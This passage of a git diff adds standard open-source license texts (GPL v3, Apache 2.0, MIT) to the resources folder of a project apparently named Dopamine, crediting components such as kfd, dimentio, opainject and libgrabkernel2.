fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Application/Dopamine/Resources/LICENSE_dimentio.md b/Application/Dopamine/Resources/LICENSE_dimentio.md new file mode 100644 index 0000000000..d9a10c0d8e --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_dimentio.md @@ -0,0 +1,176 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/Application/Dopamine/Resources/LICENSE_kfd.md b/Application/Dopamine/Resources/LICENSE_kfd.md new file mode 100644 index 0000000000..44cb596b77 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_kfd.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 Félix Poulin-Bélanger + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/LICENSE_libc.md b/Application/Dopamine/Resources/LICENSE_libc.md similarity index 100% rename from LICENSE_libc.md rename to Application/Dopamine/Resources/LICENSE_libc.md diff --git a/Application/Dopamine/Resources/LICENSE_libgrabkernel2.md b/Application/Dopamine/Resources/LICENSE_libgrabkernel2.md new file mode 100644 index 0000000000..9b0d95ade9 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_libgrabkernel2.md @@ -0,0 +1,7 @@ +Copyright 2024 Alfie CG + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/Application/Dopamine/Resources/LICENSE_opainject.md b/Application/Dopamine/Resources/LICENSE_opainject.md new file mode 100644 index 0000000000..8b1541c435 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_opainject.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Lars Fröder + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", 